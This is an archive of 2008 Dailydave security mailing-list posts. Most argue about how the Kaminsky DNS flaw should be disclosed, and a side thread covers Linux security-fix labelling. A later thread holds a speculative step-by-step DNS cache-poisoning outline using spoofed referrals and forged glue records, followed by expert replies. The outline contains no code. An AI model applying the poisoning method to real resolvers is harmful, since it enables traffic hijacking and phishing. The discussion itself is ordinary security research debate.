Date: Fri, 18 Jul 2008 15:07:13 +0000 Subject: [Dailydave] Speculation In-Reply-To: Your message of "Thu, 17 Jul 2008 20:31:56 MST." <20080718033156.GA23645@dsl093-068-005.sfo1.dsl.speakeasy.net> References: <487FB4F6.6090509@gmx.de> <20080718033156.GA23645@dsl093-068-005.sfo1.dsl.speakeasy.net> Message-ID: <99009.1216393633@nsa.vix.com> > > one question that I forgot: Was it OK to speculate about the DNS > > problem, or is that considered irresponsible, too ? > > Only if you believe in a higher power that can hold you responsible for > speculating about potentially breaking the Internet with an already > patched vulnerability. your primary responsibility is to your self and your own values. if you think dan err'd in giving the world a month or so, from july 7 to august 6, to apply patches including udp port randomization; if you think less time would have been better; if you think any part of the DNS infrastructure which can't be patched that quickly needs to be knocked on its ass to teach its operators a lesson... then it's not irresponsible to engage in public speculation which could yield an earlier-than-dan's disclosure. your call. it's up to each of us to decide what we want to be responsible to and for. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Fri Jul 18 11:10:50 2008 From: vixie at isc.org (Paul Vixie) Date: Fri, 18 Jul 2008 15:10:50 +0000 Subject: [Dailydave] Speculation In-Reply-To: Your message of "Fri, 18 Jul 2008 00:57:27 MST." <003101c8e8ab$edbbd220$c9337660$@com> References: <487FB4F6.6090509@gmx.de> <003101c8e8ab$edbbd220$c9337660$@com> Message-ID: <99423.1216393850@nsa.vix.com> > Really it is a sad reminder that the current state of the art when it comes > to security and the resiliency of our systems has a lot to do with making > sure the good guys only talk about things behind closed doors while hoping > that bad guys don't figure things out before we can patch. what would an ideal world look like, compared to this state of affairs? i'm not talking about pipe dreams like "there just would not be bugs" or even "it would never take more than a day to roll out a patch to the ends of the world" but rather, what could we do differently given the constraints we work under? -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From tqbf at matasano.com Fri Jul 18 11:49:58 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Fri, 18 Jul 2008 10:49:58 -0500 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <19323.1216392238@turing-police.cc.vt.edu> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> <20080716220146.GB16371@grsecurity.net> <487F25B5.5000105@immunityinc.com> <1df0a410807170757x2ddc6f39l9e08da6c3129c543@mail.gmail.com> <19323.1216392238@turing-police.cc.vt.edu> Message-ID: <1df0a410807180849j73962974sdcdef439ca7dfc60@mail.gmail.com> > And Linus's point is that many of those regressions matter *more* than most > security bugs, because they can totally hose your system too - corrupt > filesystems, cause system hangs and lockups, poor performance, and who knows > what else. And this is where Linus lapses into crazy talk, because data corruption bugs are far less important than vulnerabilities that can compromise my mom's credit card numbers and bank accounts. Bugs don't have adversaries. Vulnerabilities do. But I feel Linus' pain. -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From kris.lamb at us.ibm.com Sat Jul 19 02:57:13 2008 From: kris.lamb at us.ibm.com (Kris Lamb) Date: Sat, 19 Jul 2008 00:57:13 -0600 Subject: [Dailydave] Speculation Message-ID: Shutup paul. Its been far to many years listening to you holier than thou windbag rhetoric. I give dan props on this; take nothing away. Buts let's be honest here and put our egos aside as to what's really in play and what this really means. All due respect, let's not give credit where credit isn't' due. -K ----- Original Message ----- From: Paul Vixie [vixie at isc.org] Sent: 07/18/2008 03:07 PM GMT To: dailydave at lists.immunityinc.com Subject: Re: [Dailydave] Speculation > > one question that I forgot: Was it OK to speculate about the DNS > > problem, or is that considered irresponsible, too ? > > Only if you believe in a higher power that can hold you responsible for > speculating about potentially breaking the Internet with an already > patched vulnerability. your primary responsibility is to your self and your own values. if you think dan err'd in giving the world a month or so, from july 7 to august 6, to apply patches including udp port randomization; if you think less time would have been better; if you think any part of the DNS infrastructure which can't be patched that quickly needs to be knocked on its ass to teach its operators a lesson... then it's not irresponsible to engage in public speculation which could yield an earlier-than-dan's disclosure. your call. it's up to each of us to decide what we want to be responsible to and for. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. _______________________________________________ Dailydave mailing list Dailydave at lists.immunitysec.com http://lists.immunitysec.com/mailman/listinfo/dailydave From version5 at gmail.com Sat Jul 19 07:00:43 2008 From: version5 at gmail.com (nnp) Date: Sat, 19 Jul 2008 12:00:43 +0100 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <1df0a410807180849j73962974sdcdef439ca7dfc60@mail.gmail.com> References: <20080716134437.GA8428@grsecurity.net> <33337.1216243821@turing-police.cc.vt.edu> <20080716220146.GB16371@grsecurity.net> <487F25B5.5000105@immunityinc.com> <1df0a410807170757x2ddc6f39l9e08da6c3129c543@mail.gmail.com> <19323.1216392238@turing-police.cc.vt.edu> <1df0a410807180849j73962974sdcdef439ca7dfc60@mail.gmail.com> Message-ID: <28749c0e0807190400t6966913as859ab4fa70617427@mail.gmail.com> On Fri, Jul 18, 2008 at 4:49 PM, Thomas Ptacek wrote: >> And Linus's point is that many of those regressions matter *more* than most >> security bugs, because they can totally hose your system too - corrupt >> filesystems, cause system hangs and lockups, poor performance, and who knows >> what else. > > And this is where Linus lapses into crazy talk, because data > corruption bugs are far less important than vulnerabilities that can > compromise my mom's credit card numbers and bank accounts. Thats a fairly stupid thing to say and is the kind of black and white point of view that gets security people branded as narrow minded 'masturbating monkies'. Use your imagination for a second and I'm sure you'll be able to think of a number of situations where a security bug is far less serious than one that results in data corruption. > Bugs don't > have adversaries. Vulnerabilities do. Probably because security researchers haven't come up with a way to make money off them yet. > > But I feel Linus' pain. > > -- > --- > Thomas H. Ptacek // matasano security > read us on the web: http://www.matasano.com/log > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- http://www.smashthestack.org http://www.unprotectedhex.com From pageexec at freemail.hu Sat Jul 19 08:56:49 2008 From: pageexec at freemail.hu (pageexec at freemail.hu) Date: Sat, 19 Jul 2008 14:56:49 +0200 Subject: [Dailydave] [Full-disclosure] Linux's unofficial security-through-coverup policy In-Reply-To: <19323.1216392238@turing-police.cc.vt.edu> References: <20080716134437.GA8428@grsecurity.net>, >, <19323.1216392238@turing-police.cc.vt.edu> Message-ID: <488200B1.7422.2EDBFE6B@pageexec.freemail.hu> On 18 Jul 2008 at 10:43, Valdis.Kletnieks at vt.edu wrote: > On Thu, 17 Jul 2008 09:57:54 CDT, Thomas Ptacek said: > > > I'm not sure Linus and Alan are really in a reasonable position to > > coordinate and clear advisory traffic. There are too many downstream > > vendors, too many release schedules, and too much political BS. > > Not to mention that Linus and Andrew are basically drowning in updates, and > are quite busy enough without trying to coordinate advisories. > I did a 'git pull' of Linus's tree at 22:15PM 07/15. It's now 10:30AM 07/18. > > 508 files changed, 56962 insertions(+), 16737 deletions(-) > > That's *3 days* of development. no, that's not 3 days of development. that's 3 days of commits during the merge window. you know, when, well, such commits are expected to be merged in the first place. the development of these patches took place of over several weeks/months beforehand. > And Linus's point is that many of those regressions matter *more* than most > security bugs, because they can totally hose your system too - corrupt > filesystems, cause system hangs and lockups, poor performance, and who knows > what else. and when those regressions are fixed, will the corresponding commits state that they fix a filesystem corruption/system hang/system lockup/etc problem? because if they do (and past history suggests so) then you've just answered why commits fixing security bugs should also say so. > The other issue that *nobody* seems to want to address is that a *lot* of > bugfixes are, at the time, considered simply bugfixes. If anything, there > are *more* bugfixes that are realized to be security-related after release > than bugfixes that are known at release time to be issues. > > So we release 2.6.N with 4 known security fixes, and 4,934 other patches, > of which 15 aren't recognized as security until weeks/months in the future. > > Even if they flag those 4 in the release notes, what do you propose they do > with those other 15? why would they have to do anything with something they don't even know exists? how's that relevant to their handling of commits where they do know what they fix? > (That's even supposing we can come up with a reasonable and usable definition > of "security-related bug". a security bug is one that allows to break the security model of the given system. From tqbf at matasano.com Sat Jul 19 11:54:36 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sat, 19 Jul 2008 10:54:36 -0500 Subject: [Dailydave] Speculation In-Reply-To: <99423.1216393850@nsa.vix.com> References: <487FB4F6.6090509@gmx.de> <003101c8e8ab$edbbd220$c9337660$@com> <99423.1216393850@nsa.vix.com> Message-ID: <1df0a410807190854o7a098dd0p6abd292d63f427e4@mail.gmail.com> How about, and this is JUST AN IDEA, we have a system where something other than a cabal of Paul Vixie and Dan Kaminsky deciding who gets to know? On 7/18/08, Paul Vixie wrote: > > Really it is a sad reminder that the current state of the art when it comes > > to security and the resiliency of our systems has a lot to do with making > > sure the good guys only talk about things behind closed doors while hoping > > that bad guys don't figure things out before we can patch. > > > what would an ideal world look like, compared to this state of affairs? i'm > not talking about pipe dreams like "there just would not be bugs" or even "it > would never take more than a day to roll out a patch to the ends of the world" > but rather, what could we do differently given the constraints we work under? > > > -- > This message has been scanned for viruses and > dangerous content by MailScanner, and is > believed to be clean. > > _______________________________________________ > > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From tqbf at matasano.com Sat Jul 19 12:20:38 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sat, 19 Jul 2008 11:20:38 -0500 Subject: [Dailydave] Speculation In-Reply-To: <33886.1216483581@nsa.vix.com> References: <487FB4F6.6090509@gmx.de> <003101c8e8ab$edbbd220$c9337660$@com> <99423.1216393850@nsa.vix.com> <1df0a410807190854o7a098dd0p6abd292d63f427e4@mail.gmail.com> <33886.1216483581@nsa.vix.com> Message-ID: <1df0a410807190920q2e8b11e8kf85ea39c6b2afa55@mail.gmail.com> We're not talking about what Dan says. We're talking about Dan's appeal to gag other researchers who find the problem independently. And while we're on the subject of Dan? CRY ME A RIVER, Paul. Dan got a massive wave of press in advance of the Black Hat talk which occurs just coincidentally at the EXACT RIGHT MOMENT for the Internet to find out about the DNS finding. Dan's got a great talk lined up, and a clever finding, and he's a big boy and he can deal with the hits he's taking. He may deserve some of them. On 7/19/08, Paul Vixie wrote: > > How about, and this is JUST AN IDEA, we have a system where something > > other than a cabal of Paul Vixie and Dan Kaminsky deciding who gets to > > know? > > > dan's the discoverer, and in the current model, the discoverer always gets > to choose who gets to know. i like this model, since i may be a discoverer > myself some day, and besides that, i want to encourage discoverers to share > responsibly, which wouldn't happen if the first thing that happened to them > was some kind of gag order. (i didn't decide who got to know; dan did.) > > are you suggesting that a world where the discoverer doesn't get absolute > control over the method and schedule of disclosure would be better somehow? > if so, can you describe that world, and explain why i'd want to live in it? > > (in case this isn't obvious, i havn't been enjoying the show. watching dan > get bitched for doing the best bug disclosure i've ever seen, really sucks.) > > > -- > > This message has been scanned for viruses and > dangerous content by MailScanner, and is > believed to be clean. > > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From vixie at isc.org Sat Jul 19 10:22:47 2008 From: vixie at isc.org (Paul Vixie) Date: Sat, 19 Jul 2008 14:22:47 +0000 Subject: [Dailydave] Speculation In-Reply-To: Your message of "Fri, 18 Jul 2008 10:34:37 -0400." <120ef0530807180734o68f8b2b7ue3c10848da976ade@mail.gmail.com> References: <487FB4F6.6090509@gmx.de> <120ef0530807180734o68f8b2b7ue3c10848da976ade@mail.gmail.com> Message-ID: <25716.1216477367@nsa.vix.com> > Those of us outside the research community who have to advise management > cannot tell our executives "trust Dan." We have to be able to weigh > costs vs benefits, implementation details, and the like. I'm glad people > here and elsewhere have tried to figure this out, since it gives details > to guide my recommendations. would you have preferred that the attack vector be completely published on day 1, rather than a cert advisory with details to follow a month later at defcon, so that your recommendations could be completely informed? note that in that case it would also go in the wild before you could patch. is that what you want the next discoverer to do for you? note, it's not just "trust dan." dan looped in a powerful group of dns folks, each of whom was heard to speak the words "oh, shit!" and we have been making the rounds, lending our names to this. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From vixie at isc.org Sat Jul 19 12:06:21 2008 From: vixie at isc.org (Paul Vixie) Date: Sat, 19 Jul 2008 16:06:21 +0000 Subject: [Dailydave] Speculation In-Reply-To: Your message of "Sat, 19 Jul 2008 10:54:36 EST." <1df0a410807190854o7a098dd0p6abd292d63f427e4@mail.gmail.com> References: <487FB4F6.6090509@gmx.de> <003101c8e8ab$edbbd220$c9337660$@com> <99423.1216393850@nsa.vix.com> <1df0a410807190854o7a098dd0p6abd292d63f427e4@mail.gmail.com> Message-ID: <33886.1216483581@nsa.vix.com> > How about, and this is JUST AN IDEA, we have a system where something > other than a cabal of Paul Vixie and Dan Kaminsky deciding who gets to > know? dan's the discoverer, and in the current model, the discoverer always gets to choose who gets to know. i like this model, since i may be a discoverer myself some day, and besides that, i want to encourage discoverers to share responsibly, which wouldn't happen if the first thing that happened to them was some kind of gag order. (i didn't decide who got to know; dan did.) are you suggesting that a world where the discoverer doesn't get absolute control over the method and schedule of disclosure would be better somehow? if so, can you describe that world, and explain why i'd want to live in it? (in case this isn't obvious, i havn't been enjoying the show. watching dan get bitched for doing the best bug disclosure i've ever seen, really sucks.) -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From tqbf at matasano.com Sat Jul 19 14:50:19 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sat, 19 Jul 2008 13:50:19 -0500 Subject: [Dailydave] Speculation In-Reply-To: <47438.1216492677@nsa.vix.com> References: <487FB4F6.6090509@gmx.de> <003101c8e8ab$edbbd220$c9337660$@com> <99423.1216393850@nsa.vix.com> <1df0a410807190854o7a098dd0p6abd292d63f427e4@mail.gmail.com> <33886.1216483581@nsa.vix.com> <1df0a410807190920q2e8b11e8kf85ea39c6b2afa55@mail.gmail.com> <47438.1216492677@nsa.vix.com> Message-ID: <1df0a410807191150r63e4f70bq3b3eeec9b9ba025b@mail.gmail.com> Dan not telling us what he found: fine. Dan telling the press he found something awesome: fine. Dan arguing that for the good of the Internet, the public can't know what he found until he gets on stage at Black Hat: fine. Dan and Paul Vixie telling people they can't go find it themselves because they're running a secret cabal that has decided that certain ISPs get to know what the vulnerability is, but some of the world's largest financial institutions don't? NOT FINE. What can I do about it? Nothing. Am I pissed at Dan about it? No. His finding, his terms. Do I feel bad about the hits Dan is taking? Grow the fuck up. On 7/19/08, Paul Vixie wrote: > > We're not talking about what Dan says. ... > > > actually, somebody was, when they said: > > > > > How about, and this is JUST AN IDEA, we have a system where something > > > > other than a cabal of Paul Vixie and Dan Kaminsky deciding who gets to > > > > know? > > > but if that was meaningless hyperbole and nobody has a better idea, then i > admit i was wrong to press for details on a proposed alternate. > > > And while we're on the subject of Dan? CRY ME A RIVER, Paul. ... > > to all those here whom i've annoyed, i apologize. ttfn. > > > -- > > This message has been scanned for viruses and > dangerous content by MailScanner, and is > believed to be clean. > > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From tqbf at matasano.com Sat Jul 19 22:27:00 2008 From: tqbf at matasano.com (Thomas Ptacek) Date: Sat, 19 Jul 2008 21:27:00 -0500 Subject: [Dailydave] Speculation In-Reply-To: <25716.1216477367@nsa.vix.com> References: <487FB4F6.6090509@gmx.de> <120ef0530807180734o68f8b2b7ue3c10848da976ade@mail.gmail.com> <25716.1216477367@nsa.vix.com> Message-ID: <1df0a410807191927u60140290lc6d79801eb77bc24@mail.gmail.com> I am drunk off my ass at the moment, as today is block party today, and my ultraliberal neighbor Linda fed me 6 consecutive shots of tequila. My guests at the party are not drunk, but cannot be attributed. Find attached their verbatim response to this mail. --- Here's the problem. I thought about this alot. The people responsible for the problem should not be singly responsible for making sure the fix is the appropriate fix. Because, I mean, we gave them our trust. THEY FAILED. Why should we trust them solely in a non-open approach to determine the appropriate solution. By the way, they didn't talk to everyone. There are many production DNS deployments today that cannot be patched, because the vendor is not issuing a patch. --- VP, Internet Security, Global Banking Organization On 7/19/08, Paul Vixie wrote: > > Those of us outside the research community who have to advise management > > cannot tell our executives "trust Dan." We have to be able to weigh > > costs vs benefits, implementation details, and the like. I'm glad people > > here and elsewhere have tried to figure this out, since it gives details > > to guide my recommendations. > > > would you have preferred that the attack vector be completely published on > day 1, rather than a cert advisory with details to follow a month later at > defcon, so that your recommendations could be completely informed? note > that in that case it would also go in the wild before you could patch. is > that what you want the next discoverer to do for you? > > note, it's not just "trust dan." dan looped in a powerful group of dns > folks, each of whom was heard to speak the words "oh, shit!" and we have > been making the rounds, lending our names to this. > > > -- > > This message has been scanned for viruses and > dangerous content by MailScanner, and is > believed to be clean. > > > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -- --- Thomas H. Ptacek // matasano security read us on the web: http://www.matasano.com/log From pmelson at gmail.com Sat Jul 19 18:19:32 2008 From: pmelson at gmail.com (Paul Melson) Date: Sat, 19 Jul 2008 18:19:32 -0400 Subject: [Dailydave] Speculation In-Reply-To: <25716.1216477367@nsa.vix.com> References: <487FB4F6.6090509@gmx.de> <120ef0530807180734o68f8b2b7ue3c10848da976ade@mail.gmail.com> <25716.1216477367@nsa.vix.com> Message-ID: <40ecb01f0807191519r7758b5c9lbc20c7f2e94fdb11@mail.gmail.com> On Sat, Jul 19, 2008 at 10:22 AM, Paul Vixie wrote: > would you have preferred that the attack vector be completely published on > day 1, rather than a cert advisory with details to follow a month later at > defcon, so that your recommendations could be completely informed? note > that in that case it would also go in the wild before you could patch. is > that what you want the next discoverer to do for you? What you - and this is the collective "you" referring to the vendors and researchers on both sides of this argument - seem to forget is that secops folks aren't left with patching as our only option. We don't necessarily need a patch to mitigate, even if temporarily, any particular risk. However, these alternate strategies tend to require more information about the vulnerability and attack than a patch does. So while I would always prefer to know about a vulnerability prior to a first strike attack, I'd still also prefer to be in the loop, not outside of it. Risk management and defensive reaction strategies rely on accurate, timely, detailed information to be highly successful. When vendors deny us (their customers!) that information, it's no better than when security researchers publish a PoC to a mailing list without telling the vendor. It's a blindside either way. PaulM From dave.aitel at gmail.com Sun Jul 20 14:02:12 2008 From: dave.aitel at gmail.com (Dave Aitel) Date: Sun, 20 Jul 2008 14:02:12 -0400 Subject: [Dailydave] Speculation In-Reply-To: <487FB4F6.6090509@gmx.de> References: <487FB4F6.6090509@gmx.de> Message-ID: I have to kill these threads, but I wanted to say that there's clearly a lot of reasons to look into this vulnerability, and no reasons not to. When people use the word "responsible" it's either them being condescending or them trying to protect their shareholder's bottom line, or both. In any case, although I'm killing the political threads, I won't be moderating any posts that have real information or theories about this bug. Aside from Paul Vixie, there's a consensus that people want to hear about it. -dave On Thu, Jul 17, 2008 at 5:09 PM, Halvar Flake wrote: > Hey all, > > one question that I forgot: Was it OK to speculate about the DNS > problem, or is that considered irresponsible, too ? > > Cheers, > Halvar > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080720/b9c3c5e7/attachment.htm From halvar at gmx.de Mon Jul 21 04:24:11 2008 From: halvar at gmx.de (Halvar Flake) Date: Mon, 21 Jul 2008 10:24:11 +0200 Subject: [Dailydave] DNS Speculation Message-ID: <488447AB.1070901@gmx.de> (Scroll down to skip the introduction) I know that Dan asked the public researchers to "not speculate publicly" about the vulnerability, in order to buy people time. This is a commendable goal. I respect Dans viewpoint, but I disagree that this buys anyone time (more on this below). I am fully in agreement with the entire way he handled the vulnerability (e.g. getting the vendors on board, getting the patches made and released, and deciding to not disclose extra information) except the proposed "discussion blackout". In a strange way, if nobody speculates publicly, we are pulling wool over the eyes of the general public, and ourselves. Consider the following: Let's assume that the DNS problem is sufficiently complicated that an average person that has _some_ background in security, but little idea of protocols or DNS, would take N days to figure out what is problem is. So clearly, the assumption behind the "discussion blackout" is that no evil person will figure it out before the end of the N days. Let's say instead of having an average person with _some_ background in security, we have a particularly bright evil person. Perhaps someone whose income depends on phishing, and who is at the same time bright enough to build a reasonably complicated rootkit. This person is smart, and has a clear financial incentive to figure this out. I'd argue that it would take him N/4 days. By asking the community not to publicly speculate, we make sure that we have no idea what N actually is. We are not buying anybody time, we are buying people a warm and fuzzy feeling. It is imaginable that N is something like 4 days. We don't know, because there's no public speculation. So in that case, we are giving people 29 days of "Thank us for buying you time.", when in fact we have bought them a false perception of having time. The actual time they have is N/4th, and we're just making sure they think that N/4th > 30. Which it might not be. It might be ... 1. It all reminds me of a strange joke I was told last week. It's a russian joke that makes fun of the former east german government, so it might not be funny to everyone. I apologize up front: I am both german and a mathematician, so by definition the following can't be funny. "Lenin travels with the train through Russia, and the train grinds to a halt. Engine failure. Lenin sends all workers in the factory that might be responsible to a labor camp. Stalin travels with the train through Russia a few years later, and the train grinds to a halt. Eninge failure. Stalin has all workers in the factory that might be responsible shot. Honecker (the former head of State of the GDR) travels with the train through Russia. The train grinds to a halt. Engine failure. Honecker has a brilliant idea: "The people that are responsible should be forced to rock the train, so we can sit inside and feel like it is still running." " It feels like we're all trying to rock the train. If there was public speculation, we'd at least get a lower boundary on the "real" N, not the N we wish for. So I will speculate. The last weeks I was in the middle of preparing for an exam, so I really didn't have time to spend on the DNS flaw. I couldn't help myself though and spent a few minutes every other evening or so reading a DNS-for-dummies-text. I have done pretty much no protocol work in my life, so I have little hope for having gotten close to the truth. As such, anyone with a clue will probably laugh at my naive ideas. Here's my speculation: Mallory wants to poison DNS lookups on server ns.polya.com for the domain www.gmx.net. The nameserver for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. Mallory begins to send bogus requests for www.ulam00001.com, www.ulam00002.com ... to ns.polya.com. ns.polya.com doesn't have these requests cached, so it asks a root server "where can I find the .com NS?" It then receives a referral to the .com NS. It asks the nameserver for .com where to find the nameserver for ulam00001.com, ulam00002.com etc. Mallory spoofs referrals claiming to come from the .com nameserver to ns.polya.com. In these referrals, it says that the nameserver responsible for ulamYYYYY.com is a server called ns.gmx.net and that this server is located at 244.244.244.244. Also, the time to live of this referral is ... long ... Now eventually, Mallory will get one such referral spoofed right, e.g. the TXID etc. will be guessed properly. ns.polya.com will then cache that ns.gmx.net can be found at ... 244.244.244.244. Yay. The above is almost certainly wrong. Can someone with more insight into DNS tell me why it won't work ? From jon at oberheide.org Mon Jul 21 14:54:59 2008 From: jon at oberheide.org (Jon Oberheide) Date: Mon, 21 Jul 2008 14:54:59 -0400 Subject: [Dailydave] DNS Speculation In-Reply-To: <488447AB.1070901@gmx.de> References: <488447AB.1070901@gmx.de> Message-ID: <1216666499.3225.19.camel@jonojono.eecs.umich.edu> Halvar, On Mon, 2008-07-21 at 10:24 +0200, Halvar Flake wrote: [snip] > Mallory wants to poison DNS lookups on server ns.polya.com for the > domain www.gmx.net. The nameserver > for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. > > Mallory begins to send bogus requests for www.ulam00001.com, > www.ulam00002.com ... to ns.polya.com. > ns.polya.com doesn't have these requests cached, so it asks a root > server "where can I find the .com NS?" > It then receives a referral to the .com NS. It asks the nameserver for > .com where to find the nameserver > for ulam00001.com, ulam00002.com etc. > > Mallory spoofs referrals claiming to come from the .com nameserver to > ns.polya.com. In these referrals, it > says that the nameserver responsible for ulamYYYYY.com is a server > called ns.gmx.net and that > this server is located at 244.244.244.244. Also, the time to live of > this referral is ... long ... > > Now eventually, Mallory will get one such referral spoofed right, e.g. > the TXID etc. will be guessed properly. > ns.polya.com will then cache that ns.gmx.net can be found at ... > 244.244.244.244. Yay. This step is the difficult part where the scenario breaks down. When the attacker is asking the resolver to service the bogus requests, the resolver will query the .com authoritative server (question section RR: ulamYYYYY.com/A/IN). Since each query the resolver sends has a different transaction ID, you're still be stuck having to guess the 16-bit TXID. And since each query has a different question section, the bday attack scenario is not possible. Regards, Jon Oberheide -- Jon Oberheide GnuPG Key: 1024D/F47C17FE Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part Url : http://lists.immunitysec.com/pipermail/dailydave/attachments/20080721/65046894/attachment.pgp From lek at xs4all.nl Mon Jul 21 15:50:04 2008 From: lek at xs4all.nl (Petja van der Lek) Date: Mon, 21 Jul 2008 21:50:04 +0200 Subject: [Dailydave] DNS Speculation In-Reply-To: <488447AB.1070901@gmx.de> References: <488447AB.1070901@gmx.de> Message-ID: <4884E86C.4020306@xs4all.nl> It looks like you're channelling Dan Bernstein, 8 years after the fact. See: . What your diabolical scheme boils down to is the inappropriate caching of out-of-zone glue records. As far as I know, djbdns never cached out-of-zone glue records, and BIND stopped doing that with version 9. Um, it did, right? (pokes the *real* experts for support) Cheers, Lek. Halvar Flake wrote: [BIG SNIP] > Mallory wants to poison DNS lookups on server ns.polya.com for the > domain www.gmx.net. The nameserver > for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. > > Mallory begins to send bogus requests for www.ulam00001.com, > www.ulam00002.com ... to ns.polya.com. > ns.polya.com doesn't have these requests cached, so it asks a root > server "where can I find the .com NS?" > It then receives a referral to the .com NS. It asks the nameserver for > .com where to find the nameserver > for ulam00001.com, ulam00002.com etc. > > Mallory spoofs referrals claiming to come from the .com nameserver to > ns.polya.com. In these referrals, it > says that the nameserver responsible for ulamYYYYY.com is a server > called ns.gmx.net and that > this server is located at 244.244.244.244. Also, the time to live of > this referral is ... long ... > > Now eventually, Mallory will get one such referral spoofed right, e.g. > the TXID etc. will be guessed properly. > ns.polya.com will then cache that ns.gmx.net can be found at ... > 244.244.244.244. Yay. > > The above is almost certainly wrong. Can someone with more insight into > DNS tell me why it won't work ? > > From mmaiffret at inveniosecurity.com Mon Jul 21 20:03:27 2008 From: mmaiffret at inveniosecurity.com (Marc Maiffret) Date: Mon, 21 Jul 2008 17:03:27 -0700 Subject: [Dailydave] DNS, I guess that is that... Message-ID: <41eebd2c0807211703x789e07c8uaba53b5325b3264f@mail.gmail.com> I am sure 12 other people are sending this to dailydave now but what the hey :-p http://www.matasano.com/log/1105/regarding-the-post-on-chargen-earlier-today/ http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html http://www.doxpara.com/?p=1176 -Marc -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.immunitysec.com/pipermail/dailydave/attachments/20080721/163b7d3e/attachment-0001.htm From shiftnato at gmail.com Mon Jul 21 20:39:09 2008 From: shiftnato at gmail.com (natron) Date: Mon, 21 Jul 2008 19:39:09 -0500 Subject: [Dailydave] DNS Speculation In-Reply-To: <4884E86C.4020306@xs4all.nl> References: <488447AB.1070901@gmx.de> <4884E86C.4020306@xs4all.nl> Message-ID: <1dd598e10807211739s365d7563uc9bc0d38c9eaada0@mail.gmail.com> What happens when the glue record isn't out-of-zone? If your RR request is ulamYYYYY.domain.com, the DNS server would accept a response for ns1.domain.com. N On Mon, Jul 21, 2008 at 2:50 PM, Petja van der Lek wrote: > It looks like you're channelling Dan Bernstein, 8 years after the fact. > See: . What your diabolical scheme > boils down to is the inappropriate caching of out-of-zone glue records. > As far as I know, djbdns never cached out-of-zone glue records, and BIND > stopped doing that with version 9. Um, it did, right? (pokes the *real* > experts for support) > > Cheers, > Lek. > > Halvar Flake wrote: > [BIG SNIP] >> Mallory wants to poison DNS lookups on server ns.polya.com for the >> domain www.gmx.net. The nameserver >> for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. >> >> Mallory begins to send bogus requests for www.ulam00001.com, >> www.ulam00002.com ... to ns.polya.com. >> ns.polya.com doesn't have these requests cached, so it asks a root >> server "where can I find the .com NS?" >> It then receives a referral to the .com NS. It asks the nameserver for >> .com where to find the nameserver >> for ulam00001.com, ulam00002.com etc. >> >> Mallory spoofs referrals claiming to come from the .com nameserver to >> ns.polya.com. In these referrals, it >> says that the nameserver responsible for ulamYYYYY.com is a server >> called ns.gmx.net and that >> this server is located at 244.244.244.244. Also, the time to live of >> this referral is ... long ... >> >> Now eventually, Mallory will get one such referral spoofed right, e.g. >> the TXID etc. will be guessed properly. >> ns.polya.com will then cache that ns.gmx.net can be found at ... >> 244.244.244.244. Yay. >> >> The above is almost certainly wrong. Can someone with more insight into >> DNS tell me why it won't work ? >> >> > _______________________________________________ > Dailydave mailing list > Dailydave at lists.immunitysec.com > http://lists.immunitysec.com/mailman/listinfo/dailydave > From alex at sotirov.net Tue Jul 22 05:42:34 2008 From: alex at sotirov.net (Alexander Sotirov) Date: Tue, 22 Jul 2008 02:42:34 -0700 Subject: [Dailydave] DNS Speculation In-Reply-To: <488447AB.1070901@gmx.de> References: <488447AB.1070901@gmx.de> Message-ID: <20080722094234.GA6557@dsl093-068-005.sfo1.dsl.speakeasy.net> On Mon, Jul 21, 2008 at 10:24:11AM +0200, Halvar Flake wrote: > Mallory wants to poison DNS lookups on server ns.polya.com for the > domain www.gmx.net. The nameserver > for gmx.net is ns.gmx.net. Mallory's IP is 244.244.244.244. > > Mallory begins to send bogus requests for www.ulam00001.com, > www.ulam00002.com ... to ns.polya.com. > ns.polya.com doesn't have these requests cached, so it asks a root > server "where can I find the .com NS?" > It then receives a referral to the .com NS. It asks the nameserver for > .com where to find the nameserver > for ulam00001.com, ulam00002.com etc. > > Mallory spoofs referrals claiming to come from the .com nameserver to > ns.polya.com. In these referrals, it > says that the nameserver responsible for ulamYYYYY.com is a server > called ns.gmx.net and that > this server is located at 244.244.244.244. Also, the time to live of > this referral is ... long ... > > Now eventually, Mallory will get one such referral spoofed right, e.g. > the TXID etc. will be guessed properly. > ns.polya.com will then cache that ns.gmx.net can be found at ... > 244.244.244.244. Yay. > > The above is almost certainly wrong. Can someone with more insight into > DNS tell me why it won't work ? I've been trying to understand the attack, but I am not sure that I really get it. It looks like the only way it would work is if the DNS resolvers accept records they didn't ask for. Do 